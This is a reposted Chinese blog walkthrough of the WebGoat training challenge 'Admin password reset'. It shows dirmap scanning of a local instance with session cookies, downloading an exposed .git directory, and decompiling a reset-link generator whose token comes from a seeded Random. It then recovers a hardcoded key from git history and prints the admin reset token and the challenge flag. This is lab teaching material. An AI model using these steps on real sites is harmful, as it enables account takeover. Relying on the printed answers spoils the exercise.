0


WebGoat Challenges之Admin password reset

前言

先上几个别人写好的通关策略, 几个对照着看基本能通关

  • (Almost) Fully Documented Solution (en)
  • webgoat全关教程手册
  • 仙女象博主的WebGoat专栏系列

思路

先去github上看了下通关思路基本就下面几步

  1. 遍历网站后台目录, 找到.git目录
  2. 访问并下载git.zip文件
  3. 通过.git历史提交记录还原源码并分析
  4. 找到正确的key并生成重置链接的地址在这里插入图片描述

过程

题目让重置admin管理员的密码, 先填个

[email protected]

的地址测试下, 点击

Reset Password

按钮会往webwolf发一封邮件

webwolf收到邮件后查看重置链接
在这里插入图片描述大概能推测出需要发邮件给

[email protected]

并且webwolf要能收到admin的重置密码邮件或者推测出admin的

reset-password

后面那串token

前面的大佬分析网页源码的时候直接发现了题目给的提示

<!--
** Revision history (automatically added by: /challenge/7/.git/hooks)2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded keyf94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-->

在这里插入图片描述访问一下这个代码仓库看有没有有用的东西,访问地址:

localhost:8080/WebGoat/challenge/7/.git/hooks

提示报错, 嗯… 这就是原题目作者说的git, 可惜找不到
在这里插入图片描述

扫描web目录

这时候使用

dirmap

扫描下web目录, 安装命令如下

git clone https://github.com/H4ckForJob/dirmap.git &&cd dirmap && python3 -m pip install -r requirement.txt

安装完成后修改代码路径下的

dirmap.conf

设置下

conf.request_header_cookie

参数, 该参数对应访问请求时用的cookie, 可以通过抓包获取
例如:

conf.request_header_cookie ="JSESSIONID=827E4428F2772788D71064C02BCE1405; WEBWOLFSESSION=9DB61B1E0928434835C82F4607D9A244"

最后 执行

python3 dirmap.py -i http://localhost:8080/WebGoat/challenge/7 -lcf 

扫描下web目录会获取到

.git

的路径, 如下

    python3 dirmap.py -i http://localhost:8080/WebGoat/challenge/7  -lcf
    [*] Use crawl mode
    [200][application/octet-stream][28.21kb] http://localhost:8080/WebGoat/challenge/7/.git/                                                                                      
    [200][application/octet-stream][28.21kb] http://localhost:8080/WebGoat/challenge/7/.git 

output

目录下也能找到扫描报告

获取git文件

访问

http://localhost:8080/WebGoat/challenge/7/.git 

下载

.git

在这里插入图片描述下载的文件直接打开会无法识别, 可以通过

ultraledit

等十六进制工具打开文件,可以看到二进制的信息头, 再通过二进制头识别文件类型,

504B03

对应

zip

压缩包格式文件
在这里插入图片描述
附:常见文件的文件头标识 原文: https://my.oschina.net/yagerfgcs/blog/701021

255044 PDF 
526563 EML 
D0CF11 PPT 
4D5AEE COM 
E93B03 COM 
4D5A90 EXE 
424D3E BMP 
49492A TIF 
384250 PSD 
C5D0D3 EPS 
0A0501 PCS 
89504E PNG 
060500 RAW 
000002 TGA 
60EA27 ARJ 
526172 RAR 
504B03 ZIP 
495363 CAB 
1F9D8C Z 
524946 WAV 
435753 SWF 
3026B2 WMV 
3026B2 WMA 
2E524D RM 
00000F MOV 
000077 MOV 
000001 MPA 
FFFB50 MP3 
234558 m3u 
3C2144 HTM 
FFFE3C XSL 
3C3F78 XML 
3C3F78 MSC 
4C0000 LNK 
495453 CHM 
805343 scm 
D0CF11 XLS 
31BE00 WRI 
00FFFF MDF 
4D4544 MDS 
5B436C CCD 
00FFFF IMG 
FFFFFF SUB 
17A150 PCB 
2A5052 ECO 
526563 PPC 
000100 DDB 
42494C LDB 
2A7665 SCH 
2A2420 LIB 
434841 FNT 
7B5C72 RTF 
7B5072 GTD 
234445 PRG 
000007 PJT 
202020 BAS 
000002 TAG 
4D5A90 dll 
4D5A90 OCX 
4D5A50 DPL 
3F5F03 HLP 
4D5A90 OLB 
4D5A90 IMM 
4D5A90 IME 
3F5F03 LHP 
C22020 NLS 
5B5769 CPX 
4D5A16 DRV 
5B4144 PBK 
24536F PLL 
4E4553 NES 
87F53E GBC 
00FFFF SMD 
584245 XBE 
005001 XMV 
000100 TTF 
484802 PDG 
000100 TST
414331 dwg 
D0CF11 max

# 另外还有一些重要的文件,没有固定的文件头,如下: 

TXT 没固定文件头定义 
TMP 没固定文件头定义 
INI 没固定文件头定义 
BIN 没固定文件头定义 
DBF 没固定文件头定义 
C 没没固定文件头定义 
CPP 没固定文件头定义 
H 没固定文件头定义 
BAT 没固定文件头定义 

# 还有一些不同的文件有相同的文件头,最典型的就是下面: 

4D5A90 EXE 
4D5A90 dll 
4D5A90 OCX 
4D5A90 OLB 
4D5A90 IMM 
4D5A90 IME

还原代码

解压后会生成一个

.git

隐藏文件夹,这个就是git代码库了,可以通过它来还原代码对象
执行

git status

发现一些文件被删除了, 主要是java编译后生成的class文件

git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)(use "git restore <file>..." to discard changes in working directory)
        deleted:    Challenge7.html
        deleted:    Challenge_7.adoc
        deleted:    MD5$1.class
        deleted:    MD5$MD5State.class
        deleted:    MD5.class
        deleted:    PasswordResetLink.class

执行

git reset --hard HEAD

还原代码文件, 之后被删除的文件就还原回来了
之后通过

IDEA

或者

jd-gui

可以直接反编译

PasswordResetLink.class

推测代码逻辑, 反编译后代码如下

importjava.util.Random;publicclassPasswordResetLink{publicPasswordResetLink(){}publicStringcreatePasswordReset(String var1,String var2){Random var3 =newRandom();if(var1.equalsIgnoreCase("admin")){
            var3.setSeed((long)var2.length());}returnscramble(var3,scramble(var3,scramble(var3, MD5.getHashString(var1))));}publicstaticStringscramble(Random var0,String var1){char[] var2 = var1.toCharArray();for(int var3 =0; var3 < var2.length;++var3){int var4 = var0.nextInt(var2.length);char var5 = var2[var3];
            var2[var3]= var2[var4];
            var2[var4]= var5;}returnnewString(var2);}publicstaticvoidmain(String[] var0){if(var0 ==null|| var0.length !=2){System.out.println("Need a username and key");System.exit(1);}String var1 = var0[0];String var2 = var0[1];System.out.println("Generation password reset link for "+ var1);System.out.println("Created password reset link: "+(newPasswordResetLink()).createPasswordReset(var1, var2));}}

需要两个参数, 第一个参数是用户名第二个参数是key
分析源代码

org/owasp/webgoat/challenges/challenge7/Assignment7.java

发现用的key是

webgoat

在这里插入图片描述

回到之前还原代码的那个目录, 安装准备好java的jdk环境后 在命令框中执行

java PasswordResetLink admin webgoat

, 然后就能生成token了

    java PasswordResetLink admin webgoat             

    Generation password reset linkfor admin
    Created password reset link: a081235eff82092a319374c24aaa7574

但是

a081235eff82092a319374c24aaa7574

这个token是个错误的token,
访问 localhost:8080/WebGoat/challenge/7/reset-password/a081235eff82092a319374c24aaa7574 还是报错
在这里插入图片描述

分析WebGoat的代码发现正确的token是

375afe1104f4a487a73823c50a9292a2

这是为啥呢??? 一定是打开的姿势不对
在这里插入图片描述

找到key

偶然间重新回到还原class文件的那个地方执行

git log

查看提交记录发现有个

 Removed hardcoded key

的提交信息,突然就找到了新大陆了, 这不就是key不对嘛😂

git log
  commit 2e29cacb85ce5066b8d011bb9769b666812b2fd9 (HEAD -> master)
  Author: Nanne Baars <[email protected]>
  Date:   Thu Aug 17 06:41:32 2017 +0200

      Updated copyright to 2017

  commit ac937c7aab89e042ca32efeb00d4ca08a95b50d6
  Author: Nanne Baars <[email protected]>
  Date:   Thu Aug 17 06:41:09 2017 +0200

      Removed hardcoded key

  commit f94008f801fceb8833a30fe56a8b26976347edcf
  Author: Nanne Baars <[email protected]>
  Date:   Thu Aug 17 06:40:04 2017 +0200

执行

git checkout f94008f801fceb8833a30fe56a8b26976347edcf

把代码还原到包含key的那个版本, 再执行

git status

发现

PasswordResetLink.class

被修改过

git status
On branch master
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)(use "git restore <file>..." to discard changes in working directory)
        modified:   Challenge7.html
        modified:   PasswordResetLink.class

用IDEA反编译后发现了key是

!!keykeykey!!

在这里插入图片描述执行

java PasswordResetLink admin 

重新生成token, 注意下自己

PasswordResetLink.class

用的是哪个版本如果不包含key的话就执行

java PasswordResetLink admin !!keykeykey!!
 java PasswordResetLink admin 
 Generation password reset linkfor admin
Created password reset link: 375afe1104f4a487a73823c50a9292a2

访问

http://localhost:8080/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2

得到flag

00a2ee26-e759-4e1a-9ea3-f9481a0b906f

在这里插入图片描述

标签: git java 经验分享

本文转载自: https://blog.csdn.net/qq_26545503/article/details/127273406
版权归原作者 kainx 所有, 如有侵权,请联系我们删除。

“WebGoat Challenges之Admin password reset”的评论:

还没有评论